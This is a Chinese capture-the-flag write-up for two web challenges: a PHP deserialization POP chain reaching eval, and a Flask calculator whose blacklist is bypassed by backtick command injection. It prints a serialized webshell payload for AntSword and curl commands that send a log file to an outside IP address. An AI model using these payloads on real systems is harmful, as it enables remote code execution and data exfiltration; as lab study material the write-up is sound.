2022DASCTF X SU 三月春季挑战赛

web


ezpop

<?php

class crow
{
    public $v1;
    public $v2;

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' . $this->m1);
    }

}

if (isset($_POST['cmd'])) {
    unserialize($_POST['cmd']);
} else {
    highlight_file(__FILE__);
}

简单的pop链,直接构造出来了,唯一有个坑就是eval后面有个#号,当时没看到折腾了好久,他本意是会注释掉后面执行的语句,不过不影响,闭合一下payload就行:

?><?=system('ls');
<?php

class crow
{
    public $v1;
    public $v2;
    public function __construct()
    {
        $this->v1=new fin();
        $this->v1->f1=new mix();
        $this->v1->f1->m1="?><?=system('ls');";
        //   $this->v1->f1->m1="system('ls /')";
    }
}

class fin
{
    public $f1;
    public function __construct()
    {
        $f1=$this->f1;
    }

}

class what
{
    public $a;

    public function __construct()
    {
        $this->a=new fin();
        $this->a->f1=new crow();
    }
}
class mix
{
    public $m1;

    public function __construct()
    {
        $m1=$this->m1;
    }

}

$a=new fin();
$a->f1=new what();
echo serialize($a);

 或者直接用蚁剑连接,里面改成

?><?=eval(\$_POST[1]);

注意蚁剑的连接密码要换成

cmd=O:3:"fin":1:{s:2:"f1";O:4:"what":1:{s:1:"a";O:3:"fin":1:{s:2:"f1";O:4:"crow":2:{s:2:"v1";O:3:"fin":1:{s:2:"f1";O:3:"mix":1:{s:2:"m1";s:21:"?><?=eval($_POST[1]);";}}s:2:"v2";N;}}}}&1

要用这全部当密码才可以连接成功

calc 

给了原码

# coding=utf-8
from flask import Flask, render_template, url_for, render_template_string, redirect, request, current_app, session, \
    abort, send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time

app = Flask(__name__)


def waf(s):
    blacklist = ['import', '(', ')', ' ', '_', '|', ';', '"', '{', '}', '&', 'getattr', 'os', 'system', 'class',
                 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'subprocess', 'file', 'open', 'popen',
                 'builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self', 'item', 'getitem',
                 'getattribute', 'func_globals', '__init__', 'join', '__dict__']
    flag = True
    for no in blacklist:
        if no.lower() in s.lower():
            flag = False
            print(no)
            break
    return flag


@app.route("/")
def index():
    "欢迎来到SUctf2022"
    return render_template("index.html")


@app.route("/calc", methods=['GET'])
def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip, num)

    if waf(num):
        try:
            data = eval(num)
            os.system(log)
        except:
            pass
        return str(data)
    else:
        return "waf!!"


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=5000)



f12里面有个这个

 大概意思就是如果python脚本执行的时候有报错就会弹出error:function()

提交的时候会请求/calc路由并提交num参数

回到py原码里面,进入到calc路由后会触发calc函数,接收num参数后,还会拼接到log里面,在经过waf函数,如果没被过滤会先执行eval,再执行system函数

@app.route("/calc", methods=['GET'])
def calc():
    ip = request.remote_addr
    num = request.values.get("num")
    log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip, num)

    if waf(num):
        try:
            data = eval(num)
            os.system(log)
        except:
            pass
        return str(data)
    else:
        return "waf!!"

再看看waf

    blacklist = ['import', '(', ')', ' ', '_', '|', ';', '"', '{', '}', '&', 'getattr', 'os', 'system', 'class',
                 'subclasses', 'mro', 'request', 'args', 'eval', 'if', 'subprocess', 'file', 'open', 'popen',
                 'builtins', 'compile', 'execfile', 'from_pyfile', 'config', 'local', 'self', 'item', 'getitem',
                 'getattribute', 'func_globals', '__init__', 'join', '__dict__']

因为过滤了括号,所以把eval当做突破口有点困难,那多半把目标放在system函数里面,又由于没有禁用反引号,所以说是可以执行的。

直接执行一下`ls`

报错了,因为eval里面执行反引号会报错用井号过掉eval函数就好了传入:123#`ls` 

简单说明一下#注释让eval不会报错后会进入到system函数里面,相当于传入的是

"echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S", time.localtime()), ip, num)

把一些没用的抛开大概就是

"echo {0}> ./tmp/log.txt".format(num)

传入后相当于是执行了ls然后把 #和ls结果  输入到了/tmp/log.txt里面,写进去后再把数据带出来,由于他过滤了空格,所以用tab键(%09)来代替空格就可以了

传入命令

/calc?num=1%23`curl%09-X%09GET%09-F%09xx=@tmp/log.txt%09http://139.196.123.120:7777/`

刚开始我想直接传到计算器提交的位置,后来想到传编码的话会先进入到前端,前端过滤又过不了,所以直接传到url上面或者用burp都可以。但是要进入到calc目录下

有回显,现在就是绕过了 ,读一下根目录

/calc?num=1%23`ls%09/`

/calc?num=1%23`curl%09-X%09GET%09-F%09xx=@tmp/log.txt%09http://139.196.123.120:7777/`

由于过滤了_,用通配符绕过就好了

 /calc?num=1%23`cat%09/Th1s*`

/calc?num=1%23`curl%09-X%09GET%09-F%09xx=@tmp/log.txt%09http://139.196.123.120:7777/`

flag就出来了 

评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值